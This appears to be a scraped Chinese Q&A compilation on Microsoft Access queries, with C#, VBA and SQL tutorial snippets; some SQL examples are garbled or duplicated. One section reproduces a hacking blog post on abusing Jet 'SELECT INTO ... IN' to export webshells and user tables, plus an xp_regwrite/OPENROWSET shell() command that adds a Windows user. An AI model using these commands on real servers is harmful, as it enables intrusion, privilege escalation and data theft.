当前位置:首页 » 数据仓库 » access数据库查询和平路
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

access数据库查询和平路

发布时间: 2022-09-20 02:25:18

‘壹’ access数据库,查询返回 语法错误 (操作符丢失)

Access和sql不太一样,
你还是用Access的 创建 查询设计
来实现吧。这样是万无一失的!

‘贰’ 在c#中通过access数据库怎样实现查询(包括第一条,上一条,下一条,最后一条。)

本文介绍C#访问操作Access数据库的基础知识,并提供一个相关的例程。
1.通过ADO.NET的OleDb相关类来操作Access
主要知识点如下:
using System.Data.OleDb;
using System.Data;
连接字符串:String connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=proct.mdb";
建立连接:OleDbConnection connection = new OleDbConnection(connectionString);
使用OleDbCommand类来执行Sql语句:
OleDbCommand cmd = new OleDbCommand(sql, connection);
connection.Open();
cmd.ExecuteNonQuery();
2.取得Access自增标识字段在插入数据后的id值
cmd.CommandText = @"select @@identity";
int value = Int32.Parse(cmd.ExecuteScalar().ToString());
return value;
3.执行事务
需要用到OleDbTransaction,关键语句如下:
OleDbConnection connection = new OleDbConnection(connectionString);
OleDbCommand cmd = new OleDbCommand();
OleDbTransaction transaction = null;
cmd.Connection = connection;
connection.Open();
transaction = connection.BeginTransaction();
cmd.Transaction = transaction;
cmd.CommandText=sql1;
cmd.ExecuteNonQuery();
cmd.CommandText=sql2;
cmd.ExecuteNonQuery();
transaction.Commit();
4.执行查询,返回DataSet
OleDbConnection connection = new OleDbConnection(connectionString);
DataSet ds = new DataSet();
connection.Open();
OleDbDataAdapter da = new OleDbDataAdapter(sql, connection);
da.Fill(ds,"ds");
5.分页查询
分页查询使用OleDbDataReader来读取数据,并将结果写到一个DataSet中返回。
以上内容封装为三个可重用的类:AccessDBUtil,AccessPageUtil,Page
代码这里下载AccessDBUtilDemo.rar (191.37 KB , 下载:5814次)
本例程是一个c#的winform程序,但是数据访问类可以在Web环境下使用。
本例程演示了:
1.Access数据库的插入,更新,修改,查询;
2.带参数的sql语句的使用,而不是拼SQL;
3.使用DataReader的分页查询,而不是用嵌套的SQL语句来分页;
4.用事务同时执行多个SQL语句;
5.在插入数据的同时返回最新的ID值;
6.整型,实型,字符串,日期型,布尔型五种数据类型的操作;
7.使用正则表达式来验证整数和实数;
8.listview用来显示数据的一些基本用法。
本示例不包括:
1.高效的分页查询,仅仅是提供了一种分页的方法,但我认为DataReader应该比嵌套的SQL语句快(未测试)。
2.完善的分页封装,只提供了分页的简单包装。
3.嵌套的事务处理,提供了同时执行多个sql语句的事务处理,但不支持嵌套事务。
4.listview的使用,只是利用winform控件来演示数据访问,因此不能作为winform编程的良好示例,例如添加数据时界面并没有很好地更新。

‘叁’ ACCESS数据库多表查询及导出

SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin

当初没有注意到 SQL注入Access导出WebShell之后还有个问号,很激动的测试了一番,结果发现了一个问题:

在Text中加入asp格式,结果在生成的ASP文件中,所有字符形式的字段都是用引号包含的,即使字段是数值型的,用chr(数值字段)转换后,所看到的还是用引号包含的。这样的ASP文件只是名称符合而已,如何让其内容也符合呢?

在网上搜了一下,找到了Into的相关格式语句:

SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[""[type;DATABASE=path]]}

destination 欲插入数据的外部表格名称。

tableexpression 表格名称或是被读取数据的表格名称。这个参数可以是一个单一的表格名称,或是一段已经被存储的SQL查询等。

path 包含该表格的完整路径名称。

type 数据库的类型名称, 通常是当数据库部属于Jet database时才会使用。(例如:dBASE III,dBASE IV,Paradox 3.x,Paradox 4.x,或 Btrieve)

例如:下面这两段的意义相同

PartA....FROM Table IN ""[dBASE IV;DATABASE=C:\\DBASE\\DATA\\SALES;];

PartB....FROM Table IN "C:\\DBASE\\DATA\\SALES" "dBASE IV;"

看这里和lake2提出的语句很相似,呵呵,何止相似,应该就是吧!那么我将lake2的第一条语句改为如下内容:

SELECT * into [test] in 'd:\web\' 'dBASE IV;' from admin

结果在d:\web目录内生成了一个test.DBF文件,除了生成这种格式,还能生成什么格式呢?根据lake2提到的注册表路径,HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0

在其下的ISAM Formats\中显示了 ISAM格式.分别是:
dbase 5.0 dBASE 5 (*.dbf)
dbase III dBASE III (*.dbf)
dabse IV dBASE IV (*.dbf)
excel 3.0 Microsoft Excel 3 (*.xls)
excel 4.0 Microsoft Excel 4 (*.xls)
excel 5.0 Microsoft Excel 5-7 (*.xls)
excel 8.0 Microsoft Excel 97-2000 (*.xls)
exchange 4.0 Exchange() outlook程序
html export HTML 文档 (*.html;*.htm)
html import HTML 文档 (*.html;*.htm)
jet 2.x Jet 2.x
jet 3.x Jet 3.x
lotus wj2 Lotus 1-2-3 WJ2 (*.wj2)
lotus wj3 Lotus
Lotus WK1 Lotus 1-2-3 WK1 (*.wk1)
Lotus WK3 Lotus
Lotus WK4 Lotus
Outlook 9.0 Exchange
Paradox 3.X Paradox 3 (*.db)
Paradox 4.X Paradox 4 (*.db)
Paradox 5.X Paradox 5 (*.db)
Paradox 7.X Paradox 7-8 (*.db)
Text 文本文件 (*.txt;*.csv;*.tab;*.asc)

看,其中还可以生成xls格式,试一下,更改代码为:

select * into jmdcw in 'd:\web\' 'excel 4.0;' from admin

哈哈,又生成了一个xls格式(jmdcw.xls)的文件。

OK,我们打开这个xls格式的来看一下内容,其中的字符型字段并没有用引号包含,这样的话,是不是可以有所突码呢?

再看一下HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines下的各个键值,除了text中有DisableExtension这个项外,EXCEL和Lotus也有这个字符串项。lake2说的是在Text中增加,那么我加到Excel的这个值中,更改后的DisableExtension值为“!xls,asp”。如果这时执行导出命令,还是会出现“不能更新,数据库或对象为只读”。怎么解决呢?注销一下,就不出现错误了,执行:

select * into [test.asp] in 'd:\web\' 'excel 4.0;' from admin

注: 如果数据库名(excel或dbase)中只有一项,那么所生成的名称中就不用加入扩展名,否则如果是text的数据类型,就要加入扩展名。

执行后,在d:\web目录中生成了一个test.asp文件,将其在iis中运行,ASP的功能发挥出来了。

高兴,高兴的过早了,要生成asp有两个条件。1,在Access数据库环境中,是不可以执行多语句,用union?结果,出现了另一种错误,动作查询不能作为行的来源。2、需要更改注册表及让服务器注销或重启,而要能达到这样的要求,还用这么费劲生成asp文件吗,因为权力早就在webshell之上了。

唉,难怪lake2在标题的webshell后加了个?,鸡肋啊,就是鸡肋。

但这样的条件在sql环境内,却很好实现,因为连接 sql数据库的最低权限用户一般都具备执行多语句和修改注册表的权力,但将这样的语句放入sql的查询分析器中执行,却对那个in横挑鼻子竖挑眼,试了好长时间也没有一点进展,只好做罢!

不过,这个语句虽然不能生成webshell,但用来导出部分表中的内容,却是再好不过了,假设我们已经有了某个webshell了,其数据库有一二百兆,其用户表中的用户有1万,如果我们只要这个user表中的内容,如何做?我之前的日志中有一段复制数据的代码,但那个有些麻烦,而现在,只要这么一句,就可以得到指定表中的内容了,(注:只针对Access数据库),所执行的语句就是:

select * into [user] in 'd:\web\' 'excel 4.0;' from user

这样,我们只要下载这个user.xls,就可以看到user表中的内容了。哈哈,又一种导出Access数据库中部分表内容的方法出现了。

寂寞的刺猬 草写于2006年12月9日,我不想纪念什么,但没办法,有些记忆不会那么快就消失掉,这里用代码来做一个纪念吧!

在《X档案》上看到了一种用access得到系统权限的方法:

在取得sa权限的时候,先修改注册表:
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engines','SandBoxmode','REG_DWORD',0

禁用沙盒模式,然后执行:

select * from openrowset('Microsoft.Jet.OLEDB.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user jm 123456 /add")');

这样就能增加一下jm用户了。然后再加入管理员组,就成管理员了。

附:
OPENROWSET
包含访问 OLE DB 数据源中的远程数据所需的全部连接信息。当访问链接服务器中的表时,这种方法是一种替代方法,并且是一种使用 OLE DB 连接并访问远程数据的一次性的、特殊的方法。可以在查询的 FROM 子句中像引用表名那样引用 OPENROWSET 函数。依据 OLE DB 提供程序的能力,还可以将 OPENROWSET 函数引用为 INSERT、UPDATE 或 DELETE 语句的目标表。尽管查询可能返回多个结果集,然而 OPENROWSET 只返回第一个。
语法
OPENROWSET ( 'provider_name'
, { 'datasource' ; 'user_id' ; 'password'
| 'provider_string' }
, { [ catalog.] [ schema.] object
| 'query' }
)

参数
'provider_name'

字符串,它代表在注册表中指定的 OLE DB 提供程序的友好名。provider_name 没有默认值。

'datasource'

字符串常量,它对应着某个特定的 OLE DB 数据源。datasource 是将被传递到提供程序 IDBProperties 接口以初始化提供程序的 DBPROP_INIT_DATASOURCE 属性。通常,这个字符串包含数据库文件的名称、数据库服务器的名称,或者提供程序能理解的用于查找数据库的名称。

'user_id'

字符串常量,它是传递到指定 OLE DB 提供程序的用户名。user_id 为连接指定安全上下文,并将它作为 DBPROP_AUTH_USERID 属性传递进来以初始化提供程序。

'password'

字符串常量,它是将被传递到 OLE DB 提供程序的用户密码。当初始化提供程序时,将 password 作为 DBPROP_AUTH_PASSWORD 属性传递进来。

'provider_string'

提供程序特定的连接字符串,将它作为 DBPROP_INIT_PROVIDERSTRING 属性传递进来以初始化 OLE DB 提供程序。通常 provider_string 封装初始化提供程序所需的所有连接信息。

catalog

目录或数据库的名称,其中驻留着指定的对象。

schema

架构的名称或指定对象的对象所有者名称。

object

对象名称,它唯一地标识出将要操作的对象。

'query'

是字符串常量,发送到提供程序并由提供程序执行。Microsoft® SQL Server™ 不处理该查询,但处理由提供程序返回的查询结果(直接传递查询)。对于有些提供程序,它们并没有通过表名而是通过命令语言表现自己的表格格式数据,那么将直接传递查询用于这些提供程序是非常有用的。只要查询提供程序支持 OLE DB Command 对象及其强制接口,那么在远程服务器上就支持直接传递查询。有关更多信息,请参见 SQL Server OLE DB 程序员参考。

注释
如果 OLE DB 提供程序在指定的数据源中支持多个目录和架构,那么就需要目录及架构名称。如果 OLE DB 提供程序并不支持目录和架构,那么可以省略 catalog 及 schema 的值。

如果提供程序只支持架构名,那么必须指定一个两部分名称,形式为 schema.object。如果提供程序只支持目录名,那么必须指定一个三部分名称,形式为 catalog.schema.object。

OPENROWSET 不接受参数变量。

权限
OPENROWSET 权限由传递到 OLE DB 提供程序的用户名的权限确定。

示例
A. 将 OPENROWSET 与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用
下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器上。从 datasource、user_id 及 password 中初始化提供程序,并且使用 SELECT 语句定义返回的行集。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',
'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a
GO

B. 将 OPENROWSET 与对象及用于 ODBC 的 OLE DB 提供程序一起使用
下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的 provider_string 进行初始化,定义返回的行集时使用 catalog.schema.object 语法。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('MSDASQL',
'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',
pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GO

C. 使用用于 Jet 的 Microsoft OLE DB 提供程序
下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft Access Northwind 数据库中的 orders 表。

说明 下面的示例假定已经安装了 Access。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS a
GO

D. 使用 OPENROWSET 和 INNER JOIN 中的另一个表
下面的示例从本地 SQL Server Northwind 数据库的 customers 表中,以及存储在相同计算机上 Access Northwind 数据库的 orders 表中选择所有数据

说明 下面的示例假定已经安装了 Access。

USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOIN
OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS o
ON c.CustomerID = o.CustomerID
GO

‘肆’ access数据库如何查询

可以用office 里的access打开!

‘伍’ 如何查询一个ACCESS数据库中的表名和字段

数据库知识—SQL查询语句精华使用简要

一、 简单查询

简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的表或视图、以及搜索条件等。
例如,下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。

SELECT nickname,email
FROM testtable
WHERE name=张三

(一) 选择列表

选择列表(select_list)指出所查询列,它可以是一组列名列表、星号、表达式、变量(包括局部变量和全局变量)等构成。

1、选择所有列

例如,下面语句显示testtable表中所有列的数据:

SELECT *
FROM testtable

2、选择部分列并指定它们的显示次序

查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。
例如:

SELECT nickname,email
FROM testtable

3、更改列标题

在选择列表中,可重新指定列标题。定义格式为:
列标题=列名
列名 列标题
如果指定的列标题不是标准的标识符格式时,应使用引号定界符,例如,下列语句使用汉字显示列标题:

SELECT 昵称=nickname,电子邮件=email
FROM testtable

4、删除重复行

SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行,默认为ALL。使用DISTINCT选项时,对于所有重复的数据行在SELECT返回的结果集合中只保留一行。

5、限制返回的行数

使用TOP n [PERCENT]选项限制返回的数据行数,TOP n说明返回n行,而TOP n PERCENT时,说明n是表示一百分数,指定返回的行数等于总行数的百分之几。
例如:

SELECT TOP 2 *
FROM testtable
SELECT TOP 20 PERCENT *
FROM testtable

(二)FROM子句

FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图,它们之间用逗号分隔。
在FROM子句同时指定多个表或视图时,如果选择列表中存在同名列,这时应使用对象名限定这些列所属的表或视图。例如在usertable和citytable表中同时存在cityid列,在查询两个表中的cityid时应使用下面语句格式加以限定:

SELECT username,citytable.cityid
FROM usertable,citytable
WHERE usertable.cityid=citytable.cityid

在FROM子句中可用以下两种格式为表或视图指定别名:
表名 as 别名
表名 别名

(二) FROM子句

FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图,它们之间用逗号分隔。
在FROM子句同时指定多个表或视图时,如果选择列表中存在同名列,这时应使用对象名限定这些列所属的表或视图。例如在usertable和citytable表中同时存在cityid列,在查询两个表中的cityid时应使用下面语句格式加以限定:

SELECT username,citytable.cityid
FROM usertable,citytable
WHERE usertable.cityid=citytable.cityid

在FROM子句中可用以下两种格式为表或视图指定别名:
表名 as 别名
表名 别名
例如上面语句可用表的别名格式表示为:

SELECT username,b.cityid
FROM usertable a,citytable b
WHERE a.cityid=b.cityid

SELECT不仅能从表或视图中检索数据,它还能够从其它查询语句所返回的结果集合中查询数据。

例如:

SELECT a.au_fname+a.au_lname
FROM authors a,titleauthor ta
(SELECT title_id,title
FROM titles
WHERE ytd_sales>10000
) AS t
WHERE a.au_id=ta.au_id
AND ta.title_id=t.title_id

此例中,将SELECT返回的结果集合给予一别名t,然后再从中检索数据。

(三) 使用WHERE子句设置查询条件

WHERE子句设置查询条件,过滤掉不需要的数据行。例如下面语句查询年龄大于20的数据:

SELECT *
FROM usertable
WHERE age>20

WHERE子句可包括各种条件运算符:
比较运算符(大小比较):>、>=、=、、!>、!=10 AND age、>=、、!。
3、自然连接:在连接条件中使用等于(=)运算符比较被连接列的列值,但它使用选择列表指出查询结果集合中所包括的列,并删除连接表中的重复列。
例,下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社:

SELECT *
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city
又如使用自然连接,在选择列表中删除authors 和publishers 表中重复列(city和state):
SELECT a.*,p.pub_id,p.pub_name,p.country
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city

(二)外连接
内连接时,返回查询结果集合中的仅是符合查询条件( WHERE 搜索条件或 HAVING 条件)和连接条件的行。而采用外连接时,它返回到查询结果集合中的不仅包含符合连接条件的行,而且还包括左表(左外连接时)、右表(右外连接时)或两个边接表(全外连接)中的所有数据行。如下面使用左外连接将论坛内容和作者信息连接起来:

SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b
ON a.username=b.username

下面使用全外连接将city表中的所有作者以及user表中的所有作者,以及他们所在的城市:

SELECT a.*,b.*
FROM city as a FULL OUTER JOIN user as b
ON a.username=b.username

(三)交叉连接
交叉连接不带WHERE 子句,它返回被连接的两个表所有数据行的笛卡尔积,返回到结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。例,titles表中有6类图书,而publishers表中有8家出版社,则下列交叉连接检索到的记录数将等于6*8=48行。

SELECT type,pub_name
FROM titles CROSS JOIN publishers
ORDER BY type

‘陆’ 怎样用VBA取得Access数据库中的查询结果

对于这种写法不是很了解,如果用ado+sql可以帮到你。

Subbb()

DimcnnAsADODB.Connection

DimrsAsADODB.Recordset

Setcnn=NewADODB.Connection

mydata=ThisWorkbook.Path&"123.mdb"

Withcnn

.Provider="microsoft.jet.oledb.4.0"

.Openmydata

EndWith

Setrs=NewADODB.Recordset

Sql="selectFlux_AmountfromMytable"

rs.OpenSql,cnn,3,2

ReDimarr(rs.RecordCount)

Fori=0Tors.RecordCount-1

arr(i)=rs.Fields("Flux_Amount")

rs.MoveNext

Nexti

MsgBoxJoin(arr,",")

EndSub

应该说这种用法比较主流,复制代码到vbe,然后引用ado2.8,将access与excel文件放在一个文件夹,将数据库名变动一下,就可以测试了。(要改为同你的access,表名,字段名一致)

‘柒’ 请教:如何在access数据库中查询所需的内容

这样就可以:

search=search & "and qy like '%" & request("search_qy") & "%'"

这样用"花园"就可以查到"洪湖花园"、"花园a305"等信息

如果是要以开头查询,就这样:

search=search & "and qy like '%" & request("search_qy") & "'"

这样用"花园"只能查到"花园a305",无法查到"洪湖花园"

明白了吗?

‘捌’ ACCESS的数据库查询有什么意义

ACCESS的数据库查询有什么意义?

其实在Access数据库中,我们用查询设计器设计的查询本质上就是一条条SQL语言编写的命令。当我们使用查询设计器用可视化的方式创建一个查询对象后,系统便自动把它转换为相应的SQL语句保存起来。

SQL(Structure Query Language)的中文名称叫结构化查询语言。SQL是一种专门针对数据库操作的计算机语言。SQL查询是使用SQL语句创建的查询。

例如我们做一个简单的查询所有男教师的查询,在查询设计器中按如下设置:

当我们运行一个查询对象时实际上就是执行该查询中指定的SQL命令。

那么有的人就说了反正在查询设计器中可以做查询,那么就可以避免了直接写SQL语句了,所以可以不用学习SQL语句。这话有一定的道理,只可惜的是,在查询设计器中只是可以做一些比较简单的查询而已,对于某些复杂的查询,如传递查询、数据定义查询和联合查询等等你是不能够在查询设计器中完成的,此时必须要正面面对SQL语句,所以还是不要投机取巧了,在Access数据库中功能强大的查询基本上都是通过编辑SQL语句来实现的。

‘玖’ access数据库怎么查询a表中合同号字段含有b表中合同号字段,并显示出b表中的对应的那一条数据

利用函数将a表合同号字段中的合同号取出来啊,然后利用这个作为查询条件查询b表就可以啦!

‘拾’ access数据库多表查询设计为什么没查询结果

一般没有查询结果的原因就是关联语句部分写错了导致。

如,目前有数据如下:

班级表数据:

SELECT学生表.学生ID,学生表.学生姓名,班级表.班级名
FROM班级表INNERJOIN学生表ON班级表.班级ID=学生表.所属班级ID;